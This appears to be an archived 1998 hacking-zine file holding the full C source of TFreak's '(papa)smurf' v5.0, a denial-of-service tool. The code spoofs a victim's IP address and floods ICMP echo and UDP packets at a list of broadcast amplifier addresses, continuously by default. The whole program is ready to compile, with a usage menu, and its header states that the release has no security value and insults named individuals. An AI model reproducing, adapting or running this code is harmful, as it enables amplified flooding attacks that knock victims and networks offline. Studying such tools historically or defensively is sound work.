home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / papasmurf-linux.c < prev    next >
Text File  |  1998-12-30  |  14KB  |  539 lines

  1.  
  2. /*
  3.  *  (papa)smurf.c v5.0 by TFreak (Linux header version)
  4.  *
  5.  *  A year ago today I made what remains the questionable decision of 
  6.  *  releasing my program 'smurf', a program which uses broadcast "amplifiers"
  7.  *  to turn an icmp flood into an icmp holocaust, into the hands of packet
  8.  *  monkeys, script kiddies and all round clueless idiots alike.  Nine months
  9.  *  following, a second program 'fraggle', smurfs udp cousin, was introducted
  10.  *  into their Denial of Service orgy.  This brings us to today, July 28,
  11.  *  1998, one year after my first "mistake".  The result, proof that history
  12.  *  does repeat itself and a hybrid of the original programs.
  13.  *
  14.  *  First may I say that I in no way take credit for "discovering" this.
  15.  *  There is no doubt in my mind that this idea was invisioned long before
  16.  *  I was even sperm -- I merely decided to do something about it.  Secondly,
  17.  *  if you want to hold me personally responsible for turning the internet
  18.  *  into a larger sesspool of crap than it already is, then may I take this 
  19.  *  opportunity to deliver to you a message of the utmost importance -- "Fuck
  20.  *  you".  If I didn't write it, someone else would have.
  21.  *
  22.  *  I must admit that there really is no security value for me releasing this
  23.  *  new version.  In fact, my goals for the version are quite silly. First,
  24.  *  I didn't like the way my old code looked, it was ugly to look at and it
  25.  *  did some stupid unoptimized things.  Second, it's smurfs one year 
  26.  *  birthday -- Since I highly doubt anyone would have bought it a cake, I
  27.  *  thought I would do something "special" to commemorate the day.
  28.  *
  29.  *  Hmm, I am starting to see why I am known for my headers (wage eats
  30.  *  playdough!).
  31.  *
  32.  *  Well, I guess this wouldn't be the same if I did not include some sort
  33.  *  of shoutouts, so here goes...
  34.  *
  35.  *  A hearty handshake to...
  36.  *
  37.  *    o  MSofty, pbug, Kain -- No matter which path each of you decides to 
  38.  *       take in the future, I will always look back upon these days as one 
  39.  *       of the most enjoyable, memorable and thought-provoking experiences 
  40.  *       of my life.  I have nothing but the highest degree of respect for 
  41.  *       each of you, and I value your friendship immensely.  Here's to 
  42.  *       living, learning and laughing -- Cheers gentlemen. --Dan
  43.  *    o  Hi JoJo!
  44.  *    o  morbid and his grandam barbiegirl gino styles, yo.
  45.  *    o  The old #havok crew.
  46.  *    o  Pharos,silph,chris@unix.org,Viola,Vonne,Dianora,fyber,silitek,
  47.  *       brightmn,Craig Huegen,Dakal,Col_Rebel,Rick the Temp,jenni`,Paige,
  48.  *       RedFemme,nici,everlast,and everyone else I know and love.
  49.  *
  50.  *  A hearty enema using 15.0mol/L HCl to...
  51.  *    
  52.  *    o  #Conflict.  Perhaps you are just my scapegoat of agression, but you
  53.  *       all really need to stop flooding efnet servers/taking over irc 
  54.  *       channels/mass owning networks running old qpoppers and get a
  55.  *       fucking life.
  56.  *    o  BR.  It wouldn't be the same without you in here, but to be honest
  57.  *       you really aren't worth the space in the already way-to-bloated
  58.  *       header, nor the creative energy of me coming up with an intricate
  59.  *       bash that you will never understand anyway.  Shrug, hatred disguises
  60.  *       itself as apathy with time.
  61.  *
  62.  *  I feel like I'm writing a fucking essay here...
  63.  *
  64.  *  To compile: "gcc -o smurf5 papasmurf-linux.c" 
  65.  *  
  66.  *  NOTE: This version is Linux specific.
  67.  *
  68.  *  And most importantly, please don't abuse this.  If you are going to do
  69.  *  anything with this code, learn from it.
  70.  *
  71.  *  I remain,
  72.  *
  73.  *  TFreak.
  74.  *
  75.  */
  76.  
  77. /* End of Hideously Long Header */
  78.                             
  79. #include <stdio.h>
  80. #include <netdb.h>
  81. #include <sys/types.h>
  82. #include <sys/socket.h>
  83. #include <netinet/in.h>
  84. #include <netinet/in_systm.h>
  85. #include <arpa/inet.h>
  86. #include <sys/stat.h>
  87. #include <fcntl.h>
  88. #include <unistd.h>
  89. #include <stdlib.h>
  90. #include <string.h>
  91. #include <ctype.h>
  92. #include <time.h>
  93. #ifdef __USE_BSD
  94. #undef __USE_BSD
  95. #endif
  96. #include <netinet/ip.h>
  97. #include <netinet/ip_icmp.h>
  98. #include <netinet/udp.h>
  99.  
  100. struct smurf_t
  101. {
  102.     struct sockaddr_in sin;            /* socket prot structure */
  103.     int s;                    /* socket */
  104.     int udp, icmp;                /* icmp, udp booleans */
  105.     int rnd;                    /* Random dst port boolean */
  106.     int psize;                    /* packet size */
  107.     int num;                    /* number of packets to send */
  108.     int delay;                    /* delay between (in ms) */
  109.     u_short dstport[25+1];            /* dest port array (udp) */
  110.     u_short srcport;                /* source port (udp) */
  111.     char *padding;                /* junk data */
  112. };
  113.  
  114. /* function prototypes */
  115. void usage (char *);
  116. u_long resolve (char *);
  117. void getports (struct smurf_t *, char *);
  118. void smurficmp (struct smurf_t *, u_long);
  119. void smurfudp (struct smurf_t *, u_long, int);
  120. u_short in_chksum (u_short *, int);
  121.  
  122.  
  123. int 
  124. main (int argc, char *argv[])
  125. {
  126.     struct smurf_t sm;
  127.     struct stat st;
  128.     u_long bcast[1024];
  129.     char buf[32];
  130.     int c, fd, n, cycle, num = 0, on = 1; 
  131.     FILE *bcastfile;
  132.  
  133.     /* shameless self promotion banner */
  134.     fprintf(stderr, "\n(papa)smurf.c v5.0 by TFreak\n\n");
  135.  
  136.     if (argc < 3) 
  137.         usage(argv[0]);
  138.  
  139.     /* set defaults */
  140.     memset((struct smurf_t *) &sm, 0, sizeof(sm));
  141.     sm.icmp = 1;
  142.     sm.psize = 64;
  143.     sm.num = 0;
  144.     sm.delay = 10000;
  145.     sm.sin.sin_port = htons(0);
  146.     sm.sin.sin_family = AF_INET;
  147.     sm.srcport = 0;
  148.     sm.dstport[0] = 7;
  149.  
  150.     /* resolve 'source' host, quit on error */
  151.     sm.sin.sin_addr.s_addr = resolve(argv[1]);
  152.  
  153.     /* open the broadcast file */
  154.     if ((bcastfile = fopen(argv[2], "r")) == NULL)
  155.     {
  156.         perror("Opening broadcast file");
  157.         exit(-1);
  158.     }
  159.  
  160.     /* parse out options */
  161.     optind = 3;
  162.     while ((c = getopt(argc, argv, "rRn:d:p:P:s:S:f:")) != -1)
  163.     {
  164.     switch (c)
  165.     {
  166.         /* random dest ports */
  167.         case 'r':
  168.         sm.rnd = 1;
  169.         break;
  170.  
  171.         /* random src/dest ports */
  172.         case 'R':
  173.         sm.rnd = 1;
  174.                 sm.srcport = 0;
  175.         break;
  176.  
  177.         /* number of packets to send */
  178.         case 'n':
  179.         sm.num = atoi(optarg);
  180.         break;
  181.  
  182.         /* usleep between packets (in ms) */
  183.         case 'd':
  184.         sm.delay = atoi(optarg);
  185.         break;
  186.  
  187.         /* multiple ports */
  188.         case 'p':
  189.         if (strchr(optarg, ',')) 
  190.             getports(&sm, optarg);
  191.         else
  192.             sm.dstport[0] = (u_short) atoi(optarg);
  193.         break;
  194.  
  195.         /* specify protocol */
  196.         case 'P':
  197.         if (strcmp(optarg, "icmp") == 0)
  198.         {
  199.             /* this is redundant */
  200.             sm.icmp = 1;
  201.             break;
  202.         }
  203.         if (strcmp(optarg, "udp") == 0)
  204.         {
  205.             sm.icmp = 0;
  206.             sm.udp = 1;
  207.             break;
  208.         }
  209.         if (strcmp(optarg, "both") == 0)
  210.         {
  211.             sm.icmp = 1;
  212.             sm.udp = 1;
  213.             break;
  214.         }
  215.  
  216.         puts("Error: Protocol must be icmp, udp or both");
  217.         exit(-1);
  218.  
  219.         /* source port */
  220.         case 's':
  221.         sm.srcport = (u_short) atoi(optarg);
  222.         break;
  223.  
  224.         /* specify packet size */
  225.         case 'S':
  226.         sm.psize = atoi(optarg);
  227.         break;
  228.  
  229.         /* filename to read padding in from */
  230.         case 'f':
  231.         /* open and stat */
  232.         if ((fd = open(optarg, O_RDONLY)) == -1)
  233.         {
  234.             perror("Opening packet data file");
  235.             exit(-1);
  236.         }
  237.         if (fstat(fd, &st) == -1)
  238.         {
  239.             perror("fstat()");
  240.             exit(-1);
  241.         }
  242.  
  243.         /* malloc and read */
  244.         sm.padding = (char *) malloc(st.st_size);
  245.         if (read(fd, sm.padding, st.st_size) < st.st_size)
  246.         {
  247.             perror("read()");
  248.             exit(-1);
  249.         }
  250.  
  251.         sm.psize = st.st_size;
  252.         close(fd);
  253.         break;
  254.  
  255.             default:
  256.                 usage(argv[0]);
  257.         }
  258.     } /* end getopt() loop */
  259.         
  260.     /* create packet padding if neccessary */
  261.     if (!sm.padding)
  262.     {
  263.     sm.padding = (char *) malloc(sm.psize);
  264.     memset(sm.padding, 0, sm.psize);
  265.     }
  266.  
  267.     /* create the raw socket */
  268.     if ((sm.s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
  269.     {
  270.     perror("Creating raw socket (are you root?)");
  271.     exit(-1);
  272.     }
  273.  
  274.     /* Include IP headers ourself (thanks anyway though) */
  275.     if (setsockopt(sm.s, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
  276.     {
  277.     perror("setsockopt()");
  278.     exit(-1);
  279.     }
  280.  
  281.     /* read in our broadcasts and store them in our array */
  282.     while (fgets(buf, sizeof buf, bcastfile) != NULL)
  283.     {
  284.     char *p;
  285.     int valid;
  286.  
  287.         /* skip over comments/blank lines */
  288.         if (buf[0] == '#' || buf[0] == '\n') continue;
  289.  
  290.         /* get rid of newline */ 
  291.         buf[strlen(buf) - 1] = '\0';
  292.  
  293.         /* check for valid address */
  294.         for (p = buf, valid = 1; *p != '\0'; p++)
  295.         {
  296.             if ( ! isdigit(*p) && *p != '.' ) 
  297.             {
  298.                 fprintf(stderr, "Skipping invalid ip %s\n", buf);
  299.                 valid = 0;
  300.                 break;
  301.             }
  302.         }
  303.  
  304.         /* if valid address, copy to our array */
  305.         if (valid)
  306.         {
  307.         bcast[num] = inet_addr(buf);
  308.             num++;
  309.         if (num == 1024)
  310.         break;
  311.         }
  312.     } /* end bcast while loop */
  313.  
  314.     /* seed our random function */
  315.     srand(time(NULL) * getpid());
  316.  
  317.     /* wee.. */
  318.     for (n = 0, cycle = 0; n < sm.num || !sm.num; n++)
  319.     {
  320.     if (sm.icmp)
  321.         smurficmp(&sm, bcast[cycle]);
  322.  
  323.     if (sm.udp)
  324.     {
  325.         int x;
  326.         for (x = 0; sm.dstport[x] != 0; x++)
  327.             smurfudp(&sm, bcast[cycle], x);
  328.     }
  329.  
  330.     /* quick nap */
  331.     usleep(sm.delay);
  332.  
  333.     /* cosmetic psychadelic dots */
  334.     if (n % 50 == 0)
  335.     {
  336.         printf(".");
  337.         fflush(stdout);
  338.     }
  339.  
  340.     cycle = (cycle + 1) % num;
  341.     }
  342.  
  343.     exit(0);
  344. }
  345.  
  346.  
  347. void 
  348. usage (char *s)
  349. {
  350.     fprintf(stderr,
  351.             "usage: %s <source host> <broadcast file> [options]\n"
  352.         "\n"
  353.         "Options\n"
  354.         "-p:    Comma separated list of dest ports (default 7)\n"
  355.         "-r:    Use random dest ports\n"
  356.         "-R:    Use random src/dest ports\n"
  357.         "-s:    Source port (0 for random (default))\n"
  358.         "-P:    Protocols to use.  Either icmp, udp or both\n"
  359.         "-S:    Packet size in bytes (default 64)\n"
  360.         "-f:    Filename containg packet data (not needed)\n"
  361.         "-n:    Num of packets to send (0 is continuous (default))\n"
  362.         "-d:    Delay inbetween packets (in ms) (default 10000)\n"
  363.         "\n", s);
  364.     exit(-1);
  365. }
  366.  
  367.  
  368. u_long 
  369. resolve (char *host)
  370. {
  371.     struct in_addr in;
  372.     struct hostent *he;
  373.  
  374.     /* try ip first */
  375.     if ((in.s_addr = inet_addr(host)) == -1)
  376.     {
  377.     /* nope, try it as a fqdn */
  378.     if ((he = gethostbyname(host)) == NULL)
  379.     {
  380.         /* can't resolve, bye. */
  381.             herror("Resolving victim host");
  382.         exit(-1);
  383.     }
  384.  
  385.     memcpy( (caddr_t) &in, he->h_addr, he->h_length);
  386.     }
  387.  
  388.     return(in.s_addr);
  389. }
  390.     
  391.  
  392. void 
  393. getports (struct smurf_t *sm, char *p)
  394. {
  395.     char tmpbuf[16];
  396.     int n, i;
  397.  
  398.     for (n = 0, i = 0; (n < 25) && (*p != '\0'); p++, i++)
  399.     {
  400.     if (*p == ',')
  401.     {
  402.             tmpbuf[i] = '\0';
  403.         sm->dstport[n] = (u_short) atoi(tmpbuf);
  404.         n++; i = -1;
  405.         continue;
  406.     }
  407.  
  408.     tmpbuf[i] = *p;
  409.     }
  410.     tmpbuf[i] = '\0';
  411.     sm->dstport[n] = (u_short) atoi(tmpbuf);
  412.     sm->dstport[n + 1] = 0;
  413. }
  414.  
  415.  
  416. void
  417. smurficmp (struct smurf_t *sm, u_long dst)
  418. {
  419.     struct iphdr *ip;
  420.     struct icmphdr *icmp;
  421.     char *packet;
  422.  
  423.     int pktsize = sizeof(struct iphdr) + sizeof(struct icmphdr) + sm->psize;
  424.  
  425.     packet = malloc(pktsize);
  426.     ip = (struct iphdr *) packet;
  427.     icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));
  428.  
  429.     memset(packet, 0, pktsize);
  430.  
  431.     /* fill in IP header */
  432.     ip->version = 4;
  433.     ip->ihl = 5;
  434.     ip->tos = 0;
  435.     ip->tot_len = htons(pktsize);
  436.     ip->id = htons(getpid());
  437.     ip->frag_off = 0;
  438.     ip->ttl = 255;
  439.     ip->protocol = IPPROTO_ICMP;
  440.     ip->check = 0;
  441.     ip->saddr = sm->sin.sin_addr.s_addr;
  442.     ip->daddr = dst;
  443.  
  444.     /* fill in ICMP header */
  445.     icmp->type = ICMP_ECHO;
  446.     icmp->code = 0;
  447.     icmp->checksum = htons(~(ICMP_ECHO << 8));    /* thx griffin */
  448.  
  449.     /* send it on its way */
  450.     if (sendto(sm->s, packet, pktsize, 0, (struct sockaddr *) &sm->sin,
  451.         sizeof(struct sockaddr)) == -1)
  452.     {
  453.     perror("sendto()");
  454.     exit(-1);
  455.     }
  456.  
  457.     free(packet);                    /* free willy! */
  458. }
  459.  
  460.  
  461. void
  462. smurfudp (struct smurf_t *sm, u_long dst, int n)
  463. {
  464.     struct iphdr *ip;
  465.     struct udphdr *udp;
  466.     char *packet, *data;
  467.  
  468.     int pktsize = sizeof(struct iphdr) + sizeof(struct udphdr) + sm->psize;
  469.  
  470.     packet = (char *) malloc(pktsize);
  471.     ip = (struct iphdr *) packet;
  472.     udp = (struct udphdr *) (packet + sizeof(struct iphdr));
  473.     data = (char *) (packet + sizeof(struct iphdr) + sizeof(struct udphdr));
  474.  
  475.     memset(packet, 0, pktsize);
  476.     if (*sm->padding)
  477.         memcpy((char *)data, sm->padding, sm->psize);
  478.  
  479.     /* fill in IP header */
  480.     ip->version = 4;
  481.     ip->ihl = 5;
  482.     ip->tos = 0;
  483.     ip->tot_len = htons(pktsize);
  484.     ip->id = htons(getpid());
  485.     ip->frag_off = 0;
  486.     ip->ttl = 255;
  487.     ip->protocol = IPPROTO_UDP;
  488.     ip->check = 0;
  489.     ip->saddr = sm->sin.sin_addr.s_addr;
  490.     ip->daddr = dst;
  491.  
  492.     /* fill in UDP header */
  493.     if (sm->srcport) udp->source = htons(sm->srcport);
  494.     else udp->source = htons(rand());
  495.     if (sm->rnd) udp->dest = htons(rand());
  496.     else udp->dest = htons(sm->dstport[n]);
  497.     udp->len = htons(sizeof(struct udphdr) + sm->psize);
  498. //    udp->check = in_chksum((u_short *)udp, sizeof(udp));
  499.  
  500.     /* send it on its way */
  501.     if (sendto(sm->s, packet, pktsize, 0, (struct sockaddr *) &sm->sin,
  502.         sizeof(struct sockaddr)) == -1)
  503.     {
  504.     perror("sendto()");
  505.     exit(-1);
  506.     }
  507.  
  508.     free(packet);                /* free willy! */
  509. }
  510.  
  511.  
  512. u_short
  513. in_chksum (u_short *addr, int len)
  514. {
  515.     register int nleft = len;
  516.     register u_short *w = addr;
  517.     register int sum = 0;
  518.     u_short answer = 0;
  519.  
  520.     while (nleft > 1) 
  521.     {
  522.         sum += *w++;
  523.         nleft -= 2;
  524.     }
  525.  
  526.     if (nleft == 1) 
  527.     {
  528.         *(u_char *)(&answer) = *(u_char *)w;
  529.         sum += answer;
  530.     }
  531.  
  532.     sum = (sum >> 16) + (sum + 0xffff);
  533.     sum += (sum >> 16);
  534.     answer = ~sum;
  535.     return(answer);
  536. }
  537.  
  538. /* EOF */
  539.